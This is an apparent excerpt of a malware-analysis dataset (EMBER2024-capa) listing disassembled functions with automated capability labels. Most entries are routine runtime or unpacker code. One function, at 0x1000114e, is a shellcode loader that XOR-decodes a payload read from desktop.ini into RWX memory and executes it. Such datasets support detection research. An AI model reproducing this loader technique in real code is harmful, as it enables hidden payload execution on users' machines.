joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1003d444
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1003d44f

Function at 0x3002729c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
xor eax, eax
cmp dword [ebp + 8], eax
mov dword [ebp - 4], eax
je 0x30027327
mov eax, dword [ebp + 8]
test eax, 3
je 0x300272da
cmp byte [eax], 0
je 0x3002731e
lea eax, [eax + 1]
test eax, 3
je 0x300272da
cmp byte [eax], 0
je 0x3002731e
lea eax, [eax + 1]
test eax, 3
je 0x300272da
cmp byte [eax], 0
je 0x3002731e
lea eax, [eax + 1]
mov edx, dword [eax]
lea eax, [eax + 4]
mov ecx, edx
sub edx, 0x1010101
xor edx, ecx
and edx, 0x80808080
je 0x300272da
test cl, cl
lea eax, [eax - 4]
je 0x3002731e
test ecx, 0xff00
lea eax, [eax + 1]
je 0x3002731e
test ecx, 0xff0000
lea eax, [eax + 1]
je 0x3002731e
test ecx, 0xff000000
lea eax, [eax + 1]
je 0x3002731e
lea eax, [eax + 1]
jmp 0x300272da
sub eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 4

Function at 0x3002732d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
xor eax, eax
cmp dword [ebp + 8], eax
mov dword [ebp - 4], eax
je 0x3002739f
mov eax, dword [ebp + 8]
test eax, 3
je 0x3002735e
cmp word [eax], 0
je 0x30027357
lea eax, [eax + 2]
test eax, 3
je 0x3002735e
jmp 0x30027345
sub eax, dword [ebp + 8]
shr eax, 1
jmp 0x30027399
mov edx, dword [eax]
lea eax, [eax + 4]
mov ecx, edx
sub edx, 0x10001
xor edx, ecx
and edx, 0x80008000
je 0x3002735e
sub eax, dword [ebp + 8]
shr eax, 1
test cx, cx
lea eax, [eax - 2]
je 0x30027399
test ecx, 0xffff0000
lea eax, [eax + 1]
je 0x30027399
lea eax, [eax*2 + 2]
add eax, dword [ebp + 8]
jmp 0x3002735e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 4

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x4174be
Capabilities:
Parse pe header

Disassembly:
push 0x74
push 0x41c8e8
call fcn.00417404
xor edi, edi
mov dword [ebp - 0x20], edi
push edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call ebx
cmp word [eax], 0x5a4d
jne 0x4174fe
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4174fe
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x417516
cmp eax, 0x20b
je 0x417503
mov dword [ebp - 0x1c], edi
jmp 0x41752a
cmp dword [ecx + 0x84], 0xe
jbe 0x4174fe
xor eax, eax
cmp dword [ecx + 0xf8], edi
jmp 0x417524
cmp dword [ecx + 0x74], 0xe
jbe 0x4174fe
xor eax, eax
cmp dword [ecx + 0xe8], edi
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], edi
push 2
call dword [sym.imp.MSVCR71.dll___set_app_type]
pop ecx
or dword [0x4241a4], 0xffffffff
or dword [0x4241a8], 0xffffffff
call dword [sym.imp.MSVCR71.dll___p__fmode]
mov ecx, dword [0x42419c]
mov dword [eax], ecx
call dword [sym.imp.MSVCR71.dll___p__commode]
mov ecx, dword [0x424198]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCR71.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x4241a0], eax
call fcn.00417904
call fcn.004179ad
cmp dword [0x4236b0], edi
jne 0x41758a
push 0x4179aa
call dword [sym.imp.MSVCR71.dll___setusermatherr]
pop ecx
call fcn.00417992
push 0x423020
push 0x42301c
call sub.MSVCR71.dll__initterm
push 0x417948
call fcn.004173c8
mov eax, dword [0x424194]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x424190]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.MSVCR71.dll___wgetmainargs]
add esp, 0x20
mov dword [ebp - 0x3c], eax
cmp eax, edi
jge 0x4175de
push 8
call sub.MSVCR71.dll__amsg_exit
pop ecx
push 0x423018
push section..data
call sub.MSVCR71.dll__initterm
pop ecx
pop ecx
mov eax, dword [sym.imp.MSVCR71.dll__wcmdln]
mov esi, dword [eax]
cmp esi, edi
jne 0x417608
or dword [ebp - 4], 0xffffffff
mov eax, 0xff
jmp 0x4176c2
mov dword [ebp - 0x24], esi
mov ax, word [esi]
cmp ax, 0x20
ja 0x417677
cmp ax, di
je 0x41761e
cmp dword [ebp - 0x20], edi
jne 0x417677
mov ax, word [esi]
cmp ax, di
je 0x417633
cmp ax, 0x20
ja 0x417633
inc esi
inc esi
mov dword [ebp - 0x24], esi
jmp 0x41761e
mov dword [ebp - 0x58], edi
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
test byte [ebp - 0x58], 1
je 0x41764f
movzx eax, word [ebp - 0x54]
jmp 0x417652
push 0xa
pop eax
push eax
push esi
push edi
push edi
call ebx
push eax
call fcn.0040d22d
mov esi, eax
mov dword [ebp - 0x40], esi
cmp dword [ebp - 0x1c], edi
jne 0x41766f
push esi
call dword [sym.imp.MSVCR71.dll_exit]
call dword [sym.imp.MSVCR71.dll__cexit]
jmp 0x4176bc
cmp ax, 0x22
jne 0x417688
xor eax, eax
cmp dword [ebp - 0x20], edi
sete al
mov dword [ebp - 0x20], eax
inc esi
inc esi
jmp 0x417608
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.0041743f
ret
Function at 0xc2e780
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x46a000]
push edi
or ebp, 0xffffffff
jmp 0xc2e7a2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xc2e7a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xc2e798
mov eax, 1
add ebx, ebx
jne 0xc2e7bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xc2e7cc
jne 0xc2e7eb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xc2e7eb
dec eax
add ebx, ebx
jne 0xc2e7d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xc2e7b0
add ebx, ebx
jne 0xc2e7e7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xc2e83d
xor ecx, ecx
sub eax, 3
jb 0xc2e803
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xc2e872
sar eax, 1
mov ebp, eax
jmp 0xc2e80e
add ebx, ebx
jne 0xc2e80e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xc2e7dc
inc ecx
add ebx, ebx
jne 0xc2e81c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xc2e7dc
add ebx, ebx
jne 0xc2e829
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xc2e81e
jne 0xc2e83a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xc2e81e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xc2e85c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xc2e84e
jmp 0xc2e79e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xc2e85c
add edi, ecx
jmp 0xc2e79e
pop esi
mov edi, esi
mov ecx, 0x37e4
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xc2e87a
cmp byte [edi], 0x13
jne 0xc2e87a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xc2e87f
lea edi, [esi + 0x82b000]
mov eax, dword [edi]
or eax, eax
je 0xc2e8f7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x833b9c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x833c60]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xc2e8ac
mov ecx, edi
jns 0xc2e8db
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x833c68]
or eax, eax
je 0xc2e8f1
mov dword [ebx], eax
add ebx, 4
jmp 0xc2e8c9
call dword [esi + 0x833c64]
mov ebp, dword [esi + 0x833c6c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xc2e92b
sub esp, 0xffffff80
jmp 0x46f1ee
Function at 0x403170
Capabilities:
Encrypt data using salsa20 or chacha
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword [0x6e9808]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x403340
mov eax, dword [esp + 8]
mov dword [eax], 0x61707865
mov dword [eax + 4], 0x61707865
mov dword [eax + 8], 0x61707865
mov dword [eax + 0xc], 0x61707865
mov dword [eax + 0x10], 0x3320646e
mov dword [eax + 0x14], 0x3320646e
mov dword [eax + 0x18], 0x3320646e
mov dword [eax + 0x1c], 0x3320646e
mov dword [eax + 0x20], 0x79622d32
mov dword [eax + 0x24], 0x79622d32
mov dword [eax + 0x28], 0x79622d32
mov dword [eax + 0x2c], 0x79622d32
mov dword [eax + 0x30], 0x6b206574
mov dword [eax + 0x34], 0x6b206574
mov dword [eax + 0x38], 0x6b206574
mov dword [eax + 0x3c], 0x6b206574
mov ecx, dword [esp + 4]
mov edx, dword [ecx]
mov dword [eax + 0x40], edx
mov dword [eax + 0x44], edx
mov dword [eax + 0x48], edx
mov dword [eax + 0x4c], edx
mov edx, dword [ecx + 4]
mov dword [eax + 0x50], edx
mov dword [eax + 0x54], edx
mov dword [eax + 0x58], edx
mov dword [eax + 0x5c], edx
mov edx, dword [ecx + 8]
mov dword [eax + 0x60], edx
mov dword [eax + 0x64], edx
mov dword [eax + 0x68], edx
mov dword [eax + 0x6c], edx
mov edx, dword [ecx + 0xc]
mov dword [eax + 0x70], edx
mov dword [eax + 0x74], edx
mov dword [eax + 0x78], edx
mov dword [eax + 0x7c], edx
mov edx, dword [ecx + 0x10]
mov dword [eax + 0x80], edx
mov dword [eax + 0x84], edx
mov dword [eax + 0x88], edx
mov dword [eax + 0x8c], edx
mov edx, dword [ecx + 0x14]
mov dword [eax + 0x90], edx
mov dword [eax + 0x94], edx
mov dword [eax + 0x98], edx
mov dword [eax + 0x9c], edx
mov edx, dword [ecx + 0x18]
mov dword [eax + 0xa0], edx
mov dword [eax + 0xa4], edx
mov dword [eax + 0xa8], edx
mov dword [eax + 0xac], edx
mov ecx, dword [ecx + 0x1c]
mov dword [eax + 0xb0], ecx
mov dword [eax + 0xb4], ecx
mov dword [eax + 0xb8], ecx
mov dword [eax + 0xbc], ecx
mov ecx, dword [esp + 0xc]
mov dword [eax + 0xc0], ecx
lea edx, [ecx + 1]
mov dword [eax + 0xc4], edx
lea edx, [ecx + 2]
mov dword [eax + 0xc8], edx
add ecx, 3
mov dword [eax + 0xcc], ecx
mov dword [eax + 0xd0], 0
mov dword [eax + 0xd4], 0
mov dword [eax + 0xd8], 0
mov dword [eax + 0xdc], 0
mov dword [eax + 0xe0], 0
mov dword [eax + 0xe4], 0
mov dword [eax + 0xe8], 0
mov dword [eax + 0xec], 0
mov dword [eax + 0xf0], 0
mov dword [eax + 0xf4], 0
mov dword [eax + 0xf8], 0
mov dword [eax + 0xfc], 0
ret
call sym.runtime.morestack_noctxt
jmp sym.internal_chacha8rand.setup
Function at 0x40bac0
Capabilities:
Decompress data using quicklz

Disassembly:
mov ecx, dword [0x6e9808]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x40bc8b
sub esp, 0x38
mov eax, dword [esp + 0x3c]
cmp eax, 0x7000000
jle 0x40bae9
mov eax, 0x7000000
jmp 0x40baf1
test eax, eax
je 0x40bc66
mov dword [esp + 0x34], eax
mov ecx, dword [0x6e9808]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x18]
mov edx, dword [ecx + 0x448]
mov ebx, dword [ecx + 0x44c]
mov ebp, edx
shl edx, 0x11
xor edx, ebp
mov ebp, ebx
xor ebx, edx
shr edx, 7
xor edx, ebx
mov ebx, ebp
shr ebp, 0x10
xor ebp, edx
lea edx, [ebp + ebx]
shr edx, 6
inc edx
mov dword [ecx + 0x448], ebx
mov dword [ecx + 0x44c], ebp
mov dword [esp], edx
call sym.runtime.uint32tofloat64
movsd xmm0, qword [esp + 4]
movsd qword [esp + 0x24], xmm0
mov eax, dword [esp + 0x28]
mov ecx, eax
shr ecx, 0x14
and ecx, 0x7ff
mov edx, eax
shr edx, 0xf
and edx, 0x1f
shl eax, 5
mov ebx, dword [esp + 0x24]
shr ebx, 0x1b
or ebx, eax
lea eax, [0x6a4b40]
movsd xmm0, qword [eax + edx*8]
mov ebp, ecx
add ecx, 0xfffffc01
add edx, 1
mov esi, 0
adc esi, 0
test esi, esi
jne 0x40bc7e
cmp edx, 0x21
jae 0x40bc72
movsd qword [esp + 0x14], xmm0
add ebp, 0xfffffc01
mov ebp, 0xffffffff
adc ebp, 0
and ebx, 0xfffff
mov dword [esp + 0x10], ebx
movsd xmm0, qword [eax + edx*8]
movsd qword [esp + 0x1c], xmm0
mov dword [esp], ecx
mov dword [esp + 4], ebp
call sym.runtime.int64tofloat64
movsd xmm0, qword [esp + 8]
movsd qword [esp + 0x2c], xmm0
mov eax, dword [esp + 0x10]
mov dword [esp], eax
mov dword [esp + 4], 0
call sym.runtime.uint64tofloat64
movsd xmm0, qword [esp + 0x2c]
movsd xmm1, qword [esp + 0x14]
addsd xmm0, xmm1
movsd xmm2, qword [esp + 0x1c]
subsd xmm2, xmm1
movsd xmm1, qword [esp + 8]
mulsd xmm1, xmm2
movsd xmm2, qword [0x5ca318]
mulsd xmm2, xmm1
addsd xmm0, xmm2
movsd xmm1, qword [0x5ca360]
subsd xmm0, xmm1
xorps xmm1, xmm1
ucomisd xmm0, xmm1
jbe 0x40bc41
xorps xmm0, xmm0
mov eax, dword [esp + 0x34]
cvtsi2sd xmm1, eax
movsd xmm2, qword [0x5ca398]
mulsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
inc eax
mov dword [esp + 0x40], eax
add esp, 0x38
ret
mov dword [esp + 0x40], 0
add esp, 0x38
ret
mov eax, edx
mov ecx, 0x21
call sym.runtime.panicIndexU
mov eax, edx
mov ecx, 0x21
call sym.runtime.panicExtendIndexU
nop
call sym.runtime.morestack_noctxt
jmp sym.runtime.fastexprand
Function at 0x413830
Capabilities:
Check for software breakpoints

Disassembly:
mov ecx, dword [0x6e9808]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x413a2e
sub esp, 0x18
mov eax, dword [0x6e9728]
test eax, eax
jne 0x413a17
nop
nop
lea eax, [0x6e9718]
mov dword [esp], eax
call sym.runtime.lock2
mov eax, dword [0x6e971c]
test eax, eax
je 0x413878
cmp dword [eax + 8], 0xcc
jne 0x4138ee
mov edx, dword [0x6e9720]
test edx, edx
jne 0x4138d0
mov dword [esp], 0x1000
mov dword [esp + 4], 0
lea eax, [0x6ec210]
mov dword [esp + 8], eax
call sym.runtime.persistentalloc
mov eax, dword [esp + 0xc]
mov dword [0x6e9720], eax
mov ecx, dword [0x6e9724]
mov dword [eax], ecx
mov eax, dword [0x6e9720]
mov dword [0x6e9724], eax
movzx eax, byte [0x6e9ca0]
test al, al
jne 0x4138d0
xor eax, eax
jmp 0x4139e8
mov edx, dword [0x6e9720]
mov ebx, dword [edx + 4]
mov dword [0x6e9720], ebx
mov ebx, dword [0x6e971c]
mov dword [edx + 4], ebx
mov dword [0x6e971c], edx
mov edx, dword [0x6e971c]
mov eax, dword [edx + 8]
cmp eax, 0xcc
jae 0x4139c7
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], eax
lea eax, [edx + 8]
mov dword [esp], eax
mov dword [esp + 4], 1
call sym.internal_runtime_atomic.Xadd
mov eax, dword [0x6e9960]
mov ecx, dword [esp + 0x10]
lea ecx, [ecx + ecx*4]
test eax, eax
jne 0x413940
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x14]
mov ebx, dword [esp + 0x28]
mov ebp, dword [esp + 0x2c]
jmp 0x413980
call sym.runtime.gcWriteBarrier8
mov eax, dword [esp + 0x20]
mov dword [edi], eax
mov edx, dword [esp + 0x14]
mov ebx, dword [edx + ecx*4 + 0x10]
mov dword [edi + 4], ebx
mov ebx, dword [esp + 0x28]
mov dword [edi + 8], ebx
mov ebp, dword [edx + ecx*4 + 0x1c]
mov dword [edi + 0xc], ebp
mov ebp, dword [esp + 0x2c]
mov dword [edi + 0x10], ebp
mov esi, dword [edx + ecx*4 + 0x20]
mov dword [edi + 0x14], esi
mov esi, dword [esp + 0x1c]
mov dword [edi + 0x18], esi
mov esi, dword [edx + ecx*4 + 0x14]
mov dword [edi + 0x1c], esi
mov dword [edx + ecx*4 + 0x10], eax
mov eax, dword [esp + 0x24]
mov dword [edx + ecx*4 + 0x18], eax
mov dword [edx + ecx*4 + 0x1c], ebx
mov dword [edx + ecx*4 + 0x20], ebp
mov eax, dword [esp + 0x1c]
mov dword [edx + ecx*4 + 0x14], eax
nop
nop
lea eax, [0x6e9718]
mov dword [esp], eax
call sym.runtime.unlock2
nop
lea eax, [0x6e9714]
mov dword [esp], eax
mov dword [esp + 4], 8
call sym.internal_runtime_atomic.Or
add esp, 0x18
ret
mov ecx, 0xcc
call sym.runtime.panicIndexU
lea edx, [0x6a32c4]
movzx ebx, byte [edx + eax]
lea ebp, [0x6e9ca0]
mov byte [ebp + ecx], bl
lea eax, [ecx + 1]
cmp eax, 0x80
jge 0x4138d0
mov ecx, eax
mov eax, 0xcccccccd
imul ecx
add edx, ecx
sar edx, 2
lea edx, [edx + edx*4]
mov eax, ecx
sub eax, edx
cmp eax, 5
jb 0x4139d1
mov ecx, 5
call sym.runtime.panicIndex
lea eax, [0x5908f0]
mov dword [esp], eax
mov dword [esp + 4], 0x18
call sym.runtime.throw
nop
call sym.runtime.morestack_noctxt
jmp sym.runtime.queuefinalizer
Function at 0x418810
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [0x6e9808]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x418899
sub esp, 0x10
mov eax, dword [esp + 0x14]
test byte [eax], al
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 1
call sym.internal_runtime_atomic.Cas
movzx eax, byte [esp + 0xc]
test al, al
je 0x41887e
mov eax, dword [esp + 0x14]
movzx ecx, byte [eax + 6]
test cl, cl
jne 0x418882
mov dword [esp], eax
mov ecx, dword [esp + 0x18]
mov dword [esp + 4], ecx
mov ecx, dword [esp + 0x1c]
mov dword [esp + 8], ecx
call sym.runtime._gcCPULimiterState_.updateLocked
mov eax, dword [esp + 0x14]
mov dword [esp], eax
call sym.runtime._gcCPULimiterState_.unlock
add esp, 0x10
ret
add esp, 0x10
ret
lea eax, [0x590908]
mov dword [esp], eax
mov dword [esp + 4], 0x18
call sym.runtime.throw
nop
call sym.runtime.morestack_noctxt
jmp sym.runtime._gcCPULimiterState_.update
Function at 0x427d20
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [0x6e9808]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x427e64
sub esp, 0x1c
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call sym.runtime.spanOfHeap
mov eax, dword [esp + 4]
test eax, eax
je 0x427e4d
mov dword [esp + 0xc], eax
lea ecx, [eax + 0x4c]
mov dword [esp + 0x18], ecx
mov edx, dword [0x6e9808]
mov edx, dword fs:[edx]
mov edx, dword [edx]
mov ebx, dword [edx + 0x18]
nop
inc dword [ebx + 0x7c]
mov edx, dword [edx + 0x18]
mov dword [esp + 0x14], edx
mov dword [esp], eax
call sym.runtime._mspan_.ensureSwept
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0xc]
sub eax, dword [ecx + 0xc]
mov dword [esp + 0x10], eax
mov edx, dword [esp + 0x24]
movzx ebx, byte [edx + 6]
mov byte [esp + 0xa], bl
nop
mov ebp, dword [esp + 0x18]
mov dword [esp], ebp
call sym.runtime.lock2
mov eax, dword [esp + 0xc]
lea ecx, [eax + 0x50]
mov edx, dword [esp + 0x10]
movzx ebx, byte [esp + 0xa]
jmp 0x427db7
mov ecx, ebp
mov ebp, dword [ecx]
test ebp, ebp
je 0x427de2
movzx esi, word [ebp + 4]
cmp esi, edx
jne 0x427dcc
cmp byte [ebp + 6], bl
je 0x427dd7
cmp esi, edx
ja 0x427dde
jne 0x427db5
cmp byte [ebp + 6], bl
jbe 0x427db5
jmp 0x427dde
mov ebx, 1
jmp 0x427de4
xor ebx, ebx
jmp 0x427de4
xor ebx, ebx
mov byte [esp + 0xb], bl
test bl, bl
jne 0x427e02
mov ebx, dword [esp + 0x24]
mov word [ebx + 4], dx
mov edx, dword [ecx]
mov dword [ebx], edx
mov dword [ecx], ebx
mov dword [esp], eax
call sym.runtime.spanHasSpecials
nop
nop
mov eax, dword [esp + 0x18]
mov dword [esp], eax
call sym.runtime.unlock2
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + 0x7c]
lea edx, [ecx - 1]
nop
mov ebx, dword [0x6e9808]
mov ebx, dword fs:[ebx]
mov ebx, dword [ebx]
mov dword [eax + 0x7c], edx
cmp ecx, 1
jne 0x427e3d
movzx eax, byte [ebx + 0x69]
test al, al
je 0x427e3d
mov dword [ebx + 8], 0xfffffade
movzx eax, byte [esp + 0xb]
xor eax, 1
mov byte [esp + 0x28], al
add esp, 0x1c
ret
lea eax, [0x59247e]
mov dword [esp], eax
mov dword [esp + 4], 0x1d
call sym.runtime.throw
nop
call sym.runtime.morestack_noctxt
jmp sym.runtime.addspecial
Function at 0x4285f0
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [0x6e9808]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x4287ca
sub esp, 0x14
mov eax, dword [esp + 0x18]
movzx ecx, byte [eax + 6]
cmp cl, 2
ja 0x4286f5
cmp cl, 1
je 0x428684
cmp cl, 2
jne 0x4287b3
mov ecx, dword [eax + 8]
test byte [ecx], al
mov dword [esp], ecx
mov dword [esp + 4], 0
call sym.internal_runtime_atomic.Storeuintptr
nop
nop
lea eax, [0x6d5dc8]
mov dword [esp], eax
call sym.runtime.lock2
mov eax, dword [0x6d5dbc]
sub eax, dword [0x6d5da0]
nop
mov dword [0x6d5dbc], eax
mov eax, dword [0x6d5dac]
mov ecx, dword [esp + 0x18]
mov dword [ecx], eax
mov dword [0x6d5dac], ecx
nop
lea eax, [0x6d5dc8]
mov dword [esp], eax
call sym.runtime.unlock2
jmp 0x4287af
mov ecx, dword [eax + 8]
mov edx, dword [eax + 0xc]
mov ebx, dword [eax + 0x10]
mov ebp, dword [eax + 0x14]
mov esi, dword [esp + 0x1c]
mov dword [esp], esi
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 0x10], ebp
call sym.runtime.queuefinalizer
nop
nop
lea eax, [0x6d5dc8]
mov dword [esp], eax
call sym.runtime.lock2
mov eax, dword [0x6d5d1c]
sub eax, dword [0x6d5d00]
nop
mov dword [0x6d5d1c], eax
mov eax, dword [0x6d5d0c]
mov ecx, dword [esp + 0x18]
mov dword [ecx], eax
mov dword [0x6d5d0c], ecx
nop
lea eax, [0x6d5dc8]
mov dword [esp], eax
call sym.runtime.unlock2
jmp 0x4287af
cmp cl, 3
je 0x428757
cmp cl, 4
jne 0x428708
mov byte [eax + 8], 1
jmp 0x4287af
cmp cl, 5
jne 0x4287b3
nop
nop
lea eax, [0x6d5dc8]
mov dword [esp], eax
call sym.runtime.lock2
mov eax, dword [0x6d5d94]
sub eax, dword [0x6d5d78]
nop
mov dword [0x6d5d94], eax
mov eax, dword [0x6d5d84]
mov ecx, dword [esp + 0x18]
mov dword [ecx], eax
mov dword [0x6d5d84], ecx
nop
lea eax, [0x6d5dc8]
mov dword [esp], eax
call sym.runtime.unlock2
jmp 0x4287af
mov ecx, dword [eax + 8]
mov dword [esp], ecx
mov ecx, dword [esp + 0x20]
mov dword [esp + 4], ecx
call sym.runtime.mProf_Free
nop
nop
lea eax, [0x6d5dc8]
mov dword [esp], eax
call sym.runtime.lock2
mov eax, dword [0x6d5d44]
sub eax, dword [0x6d5d28]
nop
mov dword [0x6d5d44], eax
mov eax, dword [0x6d5d34]
mov ecx, dword [esp + 0x18]
mov dword [ecx], eax
mov dword [0x6d5d34], ecx
nop
nop
lea eax, [0x6d5dc8]
mov dword [esp], eax
call sym.runtime.unlock2
add esp, 0x14
ret
lea eax, [0x58da7c]
mov dword [esp], eax
mov dword [esp + 4], 0x10
call sym.runtime.throw
nop
call sym.runtime.morestack_noctxt
jmp sym.runtime.freeSpecial
Function at 0x42dbf0
Capabilities:
Access peb ldr_data

Disassembly:
mov ecx, dword [0x6e9808]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x42dd72
sub esp, 0x24
mov eax, dword [0x6e9c7c]
test eax, eax
je 0x42dd1d
mov eax, dword [esp + 0x38]
cmp eax, 5
jg 0x42dd28
mov ecx, dword [0x6e9808]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
mov edx, dword [ecx + 0x18]
nop
inc dword [edx + 0x7c]
mov edx, dword [ecx + 0x18]
mov dword [esp + 0x20], edx
mov ebx, dword [edx + 0x50]
test ebx, ebx
je 0x42dc76
cmp ecx, ebx
je 0x42dc76
mov ecx, dword [edx + 0x17c]
mov ebp, dword [edx + 0x180]
mov esi, dword [edx + 0x178]
mov dword [esp], ebx
mov dword [esp + 4], eax
mov dword [esp + 8], esi
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ebp
call sym.runtime.gcallers
mov eax, dword [esp + 0x14]
jmp 0x42dca0
mov ecx, dword [edx + 0x178]
mov ebx, dword [edx + 0x17c]
mov ebp, dword [edx + 0x180]
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], ebx
mov dword [esp + 0xc], ebp
call sym.runtime.callers
mov eax, dword [esp + 0x10]
mov ebx, dword [esp + 0x20]
mov edx, dword [ebx + 0x180]
cmp eax, edx
ja 0x42dd21
mov ecx, dword [ebx + 0x178]
mov ebp, dword [esp + 0x28]
mov dword [esp], ebp
mov ebp, dword [esp + 0x2c]
mov dword [esp + 4], ebp
mov ebp, dword [esp + 0x30]
mov dword [esp + 8], ebp
mov ebp, dword [esp + 0x34]
mov dword [esp + 0xc], ebp
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], edx
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x1c], eax
call sym.runtime.saveBlockEventStack
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 0x7c]
lea edx, [ecx - 1]
nop
mov ebx, dword [0x6e9808]
mov ebx, dword fs:[ebx]
mov ebx, dword [ebx]
mov dword [eax + 0x7c], edx
cmp ecx, 1
jne 0x42dd19
movzx eax, byte [ebx + 0x69]
test al, al
je 0x42dd19
mov dword [ebx + 8], 0xfffffade
add esp, 0x24
ret
add esp, 0x24
ret
